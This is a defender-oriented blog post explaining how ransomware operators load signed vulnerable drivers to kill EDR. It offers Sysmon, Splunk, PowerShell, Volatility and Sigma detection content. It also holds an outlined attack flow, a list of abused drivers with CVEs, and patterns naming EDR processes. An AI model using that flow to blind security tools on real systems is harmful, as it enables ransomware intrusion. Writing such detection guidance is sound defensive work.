BYOVD: Bring Your Own Vulnerable Driver — Killing EDR at the Kernel Level

24 February 2026 | 6 min read | justruss.tech

Bring Your Own Vulnerable Driver (BYOVD) has moved from an advanced nation-state technique to standard ransomware operator tradecraft. Qilin, RansomHub, BlackByte, and Scattered Spider all use it. The core idea is elegant in its brutality: rather than trying to write malicious kernel code (which requires a Microsoft-signed certificate and bypassing Secure Boot), the attacker loads a legitimate, Microsoft-signed driver that happens to have a known vulnerability. They exploit that vulnerability to gain kernel execution. From the kernel they can terminate any process including your EDR, remove kernel callbacks that the EDR uses for visibility, and operate completely blind to all userland monitoring.

This is one of the hardest techniques to detect because it happens before your primary detection capability is fully operational, and often uses artefacts that individually look completely legitimate.

How it works technically

Windows requires kernel-mode drivers to be signed by Microsoft. Legitimate hardware vendors have signed drivers. Some of those signed drivers contain vulnerabilities, usually in IOCTL handlers, that allow arbitrary kernel memory read/write from a low-privilege user. The attacker loads the vulnerable driver through normal Windows mechanisms (sc.exe or NtLoadDriver), exploits its IOCTL interface to get a kernel write primitive, then uses that primitive to either kill the EDR process, remove the EDR’s kernel callbacks from the relevant callback arrays, or overwrite the EDR’s kernel driver code in memory.

// Common BYOVD flow in ransomware deployments
// 1. Drop the vulnerable driver to disk
copy \\attacker\share\vuln.sys C:\Windows\Temp\vuln.sys

// 2. Load the driver
sc create vuln type= kernel binPath= C:\Windows\Temp\vuln.sys
sc start vuln

// 3. Use the driver's IOCTL to gain kernel write primitive
// (tool-specific, e.g., EDRSandBlast, Terminator, KillAV)

// 4. Use kernel write to zero out EDR callback registrations
// e.g., walk PspLoadImageNotifyRoutine array and remove EDR entries

// 5. EDR is now blind - proceed with ransomware deployment

The most commonly abused drivers documented in incident reports include:

// Known BYOVD drivers (partial list from public reporting)
// EDRSandBlast: gdrv.sys (Gigabyte driver) CVE-2018-19320
// Terminator: zam64.sys (Zemana Anti-Malware) 
// BlackByte: RwDrv.sys (RW-Everything)
// RansomHub: BadRentdrv2.sys, ThreatFire System Monitor driver
// AuKill: procexp.sys (legitimate Sysinternals Process Explorer driver)

// All of these are or were legitimately signed by their vendors
// Windows will load them without complaint if signing enforcement is met

Why it is so hard to detect

The driver load event happens through perfectly legitimate Windows mechanisms. The driver itself is signed and passes all signature validation. The IOCTL calls to the driver look like normal device communication. By the time the EDR’s callback registrations are removed, the EDR has already lost visibility, it cannot report what just happened to it. Any alerting that depended on EDR is now blind. If your SIEM relied on the EDR agent to ship events, those events stop.

Detection layer 1: driver load monitoring

Sysmon Event ID 6 (DriverLoad) is your first line. Log every driver load and check the loaded driver against a list of known vulnerable drivers. Microsoft maintains a vulnerable driver blocklist; cross-reference against it.

// Sysmon config: log all driver loads
<DriverLoad onmatch="include">
 <Rule groupRelation="or">
 <ImageLoaded condition="contains">Temp</ImageLoaded>
 <ImageLoaded condition="contains">AppData</ImageLoaded>
 <ImageLoaded condition="contains">Users</ImageLoaded>
 <Signed condition="is">false</Signed>
 </Rule>
</DriverLoad>

// Alert on ALL driver loads for hash comparison
<DriverLoad onmatch="include">
 <ImageLoaded condition="is not">C:\Windows\System32\drivers\</ImageLoaded>
</DriverLoad>
// Splunk: detect driver loads matching known BYOVD hashes
index=sysmon EventCode=6
| eval driver_hash=lower(Hashes)
| lookup byovd_drivers.csv sha256 AS driver_hash OUTPUT driver_name, cve, notes
| where isnotnull(driver_name)
| table _time, ComputerName, ImageLoaded, driver_name, cve, notes
| sort -_time

// byovd_drivers.csv should be populated from:
// https://github.com/magicsword-io/LOLDrivers
// loldrivers.io maintains a current list with hashes

Detection layer 2: LOLDrivers database integration

// Download and parse the LOLDrivers dataset
python3 << EOF
import requests, json, csv

# LOLDrivers maintains a machine-readable list of vulnerable drivers
url = "https://www.loldrivers.io/api/drivers.json"
resp = requests.get(url, timeout=30)
drivers = resp.json()

# Build a hash lookup CSV for your SIEM
with open("byovd_drivers.csv", "w", newline="") as f:
 writer = csv.writer(f)
 writer.writerow(["sha256", "sha1", "md5", "driver_name", "cve", "notes"])
 for driver in drivers:
 name = driver.get("Tags", ["unknown"])[0]
 cve = ",".join(driver.get("CVE", []))
 note = driver.get("KnownVulnerableSamples", [{}])[0].get("Authentihash", "")
 for sample in driver.get("KnownVulnerableSamples", []):
 sha256 = sample.get("SHA256", "")
 sha1 = sample.get("SHA1", "")
 md5 = sample.get("MD5", "")
 if sha256:
 writer.writerow([sha256.lower(), sha1.lower(), md5.lower(), name, cve, note])

print(f"Written {len(drivers)} driver entries to byovd_drivers.csv")
EOF

Detection layer 3: EDR process termination anomaly

// If your EDR process dies unexpectedly, that is the strongest indicator
// Monitor for EDR process termination via Windows Event ID 4689

Get-WinEvent -FilterHashtable @{LogName="Security"; Id=4689} |
 Where-Object {
 $_.Message -match "MsMpEng|CSFalcon|SentinelAgent|CylanceSvc|cb.exe|AmSvc"
 } |
 Select-Object TimeCreated, Message | Format-List

// Also monitor for the sc.exe pattern of driver loading
// Legitimate software rarely uses sc.exe to load kernel drivers at runtime
index=sysmon EventCode=1
 Image="*\\sc.exe"
 (CommandLine="*type= kernel*" OR CommandLine="*type=kernel*")
| table _time, ComputerName, Account_Name, CommandLine

Detection layer 4: kernel callback monitoring

// Tools like WinPmem or custom kernel drivers can monitor callback arrays
// In a post-incident memory analysis context:

vol -f memory.raw windows.callbacks
// Lists all registered kernel callbacks
// PsSetLoadImageNotifyRoutine, PsSetCreateProcessNotifyRoutine etc.
// If your EDR's driver address is missing from these arrays
// it means BYOVD removed it

// Correlate callback list against expected EDR kernel modules
vol -f memory.raw windows.modules | grep -i "edr_driver_name"
// If the module is loaded but its address is not in callback arrays
// it was stripped - strong BYOVD indicator

Detection layer 5: Microsoft Vulnerable Driver Blocklist

// Enable the Microsoft Vulnerable Driver Blocklist
// Windows 11 22H2+ has this built in, older versions need manual WDAC policy

// Check if blocklist is enabled
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Config" |
 Select-Object VulnerableDriverBlocklistEnable

// Enable it
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Config" `
 -Name VulnerableDriverBlocklistEnable -Value 1

// The blocklist prevents known vulnerable drivers from loading
// This is the preventive control - detection is the compensating control

Sigma rule for BYOVD hunting

title: Potential BYOVD Vulnerable Driver Load
id: a8b4c2e1-3f5d-4a8b-9c1e-2d4f6a8b0c1e
status: experimental
description: Detects loading of kernel drivers from non-standard locations or matching known BYOVD hashes
references:
 - https://www.loldrivers.io
 - https://attack.mitre.org/techniques/T1068/
author: justruss
logsource:
 product: windows
 category: driver_loaded
detection:
 selection_path:
 ImageLoaded|contains:
 - '\Temp\'
 - '\AppData\'
 - '\Users\Public\'
 - '\ProgramData\'
 selection_unsigned:
 Signed: 'false'
 ImageLoaded|contains: '.sys'
 filter_legit:
 ImageLoaded|startswith:
 - 'C:\Windows\System32\drivers\'
 - 'C:\Windows\System32\DriverStore\'
 condition: (selection_path or selection_unsigned) and not filter_legit
level: high
tags:
 - attack.defense_evasion
 - attack.t1562.001
 - attack.privilege_escalation
 - attack.t1068